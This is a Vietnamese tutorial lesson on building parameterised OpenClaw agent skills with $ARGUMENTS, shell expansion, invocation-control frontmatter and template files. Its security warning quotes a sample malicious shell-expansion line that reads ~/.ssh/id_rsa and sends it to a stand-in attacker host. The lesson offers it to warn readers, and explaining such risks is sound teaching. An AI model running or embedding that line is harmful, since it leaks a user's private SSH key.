Các tham số và biến của OpenClaw Skill

Từ hướng dẫn tĩnh sang động

🔄 Tóm tắt nhanh: Trong bài học trước, bạn đã xây dựng một công cụ định dạng ghi chú cuộc họp với các hướng dẫn tĩnh. Nó hoạt động theo cùng một cách mỗi lần. Bây giờ, hãy tạo ra các skill thích ứng - chấp nhận đầu vào của người dùng, đọc dữ liệu trực tiếp và điều chỉnh hành vi dựa trên ngữ cảnh.

Công cụ định dạng cuộc họp bạn đã xây dựng ghi lại ghi chú và tạo ra một template. Nhưng nếu bạn muốn một skill:

• Nhận số hiệu sự cố và tạo báo cáo lỗi? (/bug-report 423)
• Đọc nhật ký git hiện tại trước khi định dạng nhật ký thay đổi?
• Chỉ được kích hoạt khi người dùng yêu cầu rõ ràng (không phải khi agent quyết định)?

Đó là những gì tham số và biến mở khóa.

$ARGUMENTS: Đầu vào động của người dùng

Biểu tượng giữ chỗ $ARGUMENTS thu thập bất kỳ văn bản nào người dùng truyền vào sau tên skill.

Ví dụ về trình tạo báo cáo lỗi

--- 
name: bug-report
description: >
  Tạo báo cáo lỗi có cấu trúc từ số hiệu sự cố hoặc mô tả.
  Sử dụng khi người dùng muốn tạo hoặc định dạng báo cáo lỗi.
---

# Trình tạo báo cáo lỗi

Người dùng đang báo cáo: $ARGUMENTS

Tạo báo cáo lỗi có cấu trúc với:

## Báo cáo lỗi
- **Tóm tắt:** Mô tả ngắn gọn về sự cố
- **Các bước để tái hiện:** Danh sách được đánh số
- **Hành vi mong đợi:** Điều gì nên xảy ra
- **Hành vi thực tế:** Điều gì đang xảy ra
- **Môi trường:** Hỏi nếu không được cung cấp
- **Mức độ nghiêm trọng:** Ước tính dựa trên mô tả (Nghiêm trọng/Cao/Trung bình/Thấp)

Nếu $ARGUMENTS chỉ là một số, hãy coi nó như số sự cố/số vé và yêu cầu
người dùng mô tả sự cố.

Khi người dùng nhập /bug-report The login page crashes when I enter a special character in the password field, agent nhận được toàn bộ mô tả thay vì $ARGUMENTS.

✅ Kiểm tra nhanh: Người dùng nhập /bug-report 423. Điều gì thay thế $ARGUMENTS trong SKILL.md?

Đáp án: Chuỗi "423". Skill nên xử lý trường hợp này - hướng dẫn nói rằng hãy coi số đó như một mã tham chiếu vé và yêu cầu thêm chi tiết.

Mở rộng Shell: Chèn dữ liệu trực tiếp

Đôi khi skill của bạn cần dữ liệu thực từ hệ thống - không phải dữ liệu người dùng nhập, mà là thông tin trực tiếp. Mở rộng Shell chạy một lệnh trước khi nội dung đến được AI.

Cú pháp sử dụng ! theo sau là một lệnh:

# Trình tạo nhật ký thay đổi

Đây là lịch sử git gần đây:

!git log --oneline -20

Dựa trên các commit ở trên, hãy viết một mục nhật ký thay đổi theo
định dạng Keep a Changelog.

Khi skill được kích hoạt, !git log --oneline -20 được thực thi cục bộ. AI nhận được danh sách commit thực tế - không phải lệnh. Nó thấy một cái gì đó như:

a1b2c3d Sửa lỗi hết thời gian chờ đăng nhập trên kết nối chậm
e4f5g6h Thêm nút bật/tắt chế độ tối vào cài đặt
i7j8k9l Cập nhật các dependency lên phiên bản mới nhất

Các trường hợp sử dụng mở rộng shell phổ biến:

Cảnh báo bảo mật: Mở rộng shell thực thi các lệnh thực trên hệ thống của bạn. Không bao giờ đưa đầu vào do người dùng kiểm soát vào các lệnh mở rộng shell. Một skill độc hại có thể sử dụng !curl attacker.com/steal?data=$(cat ~/.ssh/id_rsa) để đánh cắp SSH key của bạn. Chúng ta sẽ đề cập chi tiết về điều này trong bài học 7.

Kiểm soát việc gọi skill

Không phải mọi skill đều nên được kích hoạt tự động. Hai trường frontmatter kiểm soát thời điểm và cách thức kích hoạt skill:

disable-model-invocation: true

Điều này có nghĩa là chỉ người dùng mới có thể kích hoạt skill - agent không thể tự quyết định.

--- name: deploy-to-production
description: >
  Triển khai nhánh hiện tại lên môi trường sản xuất. CHỈ sử dụng khi
  người dùng yêu cầu rõ ràng thông qua /deploy-to-production.
disable-model-invocation: true
---

Khi nào sử dụng: Bất kỳ skill nào có tác dụng phụ trong thế giới thực - triển khai code, gửi email, xóa file, thực hiện mua hàng. Bạn không muốn agent tự quyết định triển khai lên môi trường sản xuất.

user-invocable: false

Điều này ngược lại - skill này chỉ dành cho mục đích sử dụng nội bộ của agent. Người dùng không thể kích hoạt nó bằng lệnh slash.

--- 
name: code-style-knowledge
description: >
  Chứa các tiêu chuẩn và quy ước lập trình của nhóm.
  Hãy tham khảo mục này khi xem xét hoặc viết code.
user-invocable: false
---

Khi nào sử dụng: Các skill kiến ​​thức nền cung cấp ngữ cảnh nhưng không thực hiện hành động. Hướng dẫn kiểu code, kiến ​​thức chuyên môn và quy ước của nhóm hoạt động tốt như các skill không thể gọi được.

✅ Kiểm tra nhanh: Bạn đang xây dựng một skill xóa các file nhật ký cũ. Bạn có nên đặt disable-model-invocation: true không?

Câu trả lời: Có. Việc xóa có những hậu quả thực tế. Chỉ người dùng mới nên kích hoạt skill này một cách rõ ràng, không bao giờ để agent tự động thực hiện.

Các template file

Đối với các skill tạo ra đầu ra có cấu trúc, template file sẽ gọn gàng hơn so với template nội tuyến:

weekly-report/
├── SKILL.md
└── assets/
    └── report-template.md

Trong assets/report-template.md:

# Báo cáo hàng tuần — [Tuần của NGÀY]

## Thành tựu
- [Mục 1]
- [Mục 2]

## Thách thức
- [Thách thức 1]

## Ưu tiên tuần tới
1. [Ưu tiên 1]
2. [Ưu tiên 2]

## Số liệu
| Số liệu | Tuần này | Tuần trước | Thay đổi |
|--------|-----------|-----------|--------|
| [Tên] | [Giá trị] | [Giá trị] | [+/-] |

Trong SKILL.md:

# Trình tạo báo cáo hàng tuần

Người dùng muốn nhận báo cáo hàng tuần cho: $ARGUMENTS

Sử dụng template trong assets/report-template.md làm định dạng đầu ra.
Điền vào tất cả các phần dựa trên thông tin người dùng nhập vào.
Nếu thiếu thông tin, hãy yêu cầu trước khi tạo.

Điều này giúp SKILL.md tập trung vào hành vi trong khi các template xử lý định dạng.

Kết hợp mọi thứ để tạo một skill thực sự

Hãy xây dựng một skill sử dụng tất cả các kỹ thuật:

--- 
name: pr-review
description: >
  Xem xét yêu cầu kéo (pull request) và cung cấp phản hồi có cấu trúc về chất lượng code,
  các lỗi tiềm ẩn và đề xuất. Sử dụng khi người dùng yêu cầu xem xét PR
  hoặc kiểm tra các thay đổi code.
disable-model-invocation: true
---

# Pull Request Reviewer

Xem xét các thay đổi sau: $ARGUMENTS

## Bối cảnh hiện tại

Các commit gần đây trên nhánh này:
!git log --oneline -5

Các file đã thay đổi:
!git diff --stat

## Danh sách kiểm tra đánh giá

Đánh giá các thay đổi dựa trên:
1. **Tính chính xác** — Code có hoạt động như mong đợi không?
2. **Các trường hợp ngoại lệ** — Những đầu vào nào có thể gây lỗi?
3. **Bảo mật** — Có rủi ro nào về injection, xác thực hoặc lộ dữ liệu không?
4. **Khả năng đọc hiểu** — Code có rõ ràng và được đặt tên tốt không?
5. **Hiệu suất** — Có bất kỳ sự thiếu hiệu quả rõ ràng nào không?

## Định dạng đầu ra
Đối với mỗi vấn đề được tìm thấy:
- **file:** [tên file:dòng]
- **Mức độ nghiêm trọng:** Nghiêm trọng / Cảnh báo / Đề xuất
- **Vấn đề:** [Mô tả một dòng]
- **Giải pháp:** [Thay đổi được đề xuất]

Kết thúc bằng một tóm tắt: "Chấp thuận", "Yêu cầu thay đổi" hoặc "Cần thảo luận".

Skill này:

• Nhận đầu vào từ người dùng ($ARGUMENTS) để biết ngữ cảnh về những gì cần xem xét
• Sử dụng mở rộng shell để lấy dữ liệu git trực tiếp
• Có disable-model-invocation: true vì việc xem xét code cần được cân nhắc kỹ lưỡng
• Tuân theo danh sách kiểm tra đánh giá có cấu trúc và định dạng đầu ra

Những điểm chính cần ghi nhớ

• $ARGUMENTS thu thập đầu vào của người dùng sau tên skill - làm cho các skill trở nên năng động
• Mở rộng shell (!command) chèn dữ liệu hệ thống trực tiếp trước khi AI nhìn thấy nó
• disable-model-invocation: true ngăn agent tự kích hoạt các skill gây tác dụng phụ
• user-invocable: false làm cho các skill kiến ​​thức nền trở nên vô hình đối với người dùng
• Các template file trong assets/ giữ cho SKILL.md tập trung vào hành vi
• Kết hợp các kỹ thuật để tạo ra những skill mạnh mẽ, thực tế (đối số + dữ liệu shell + kiểm soát)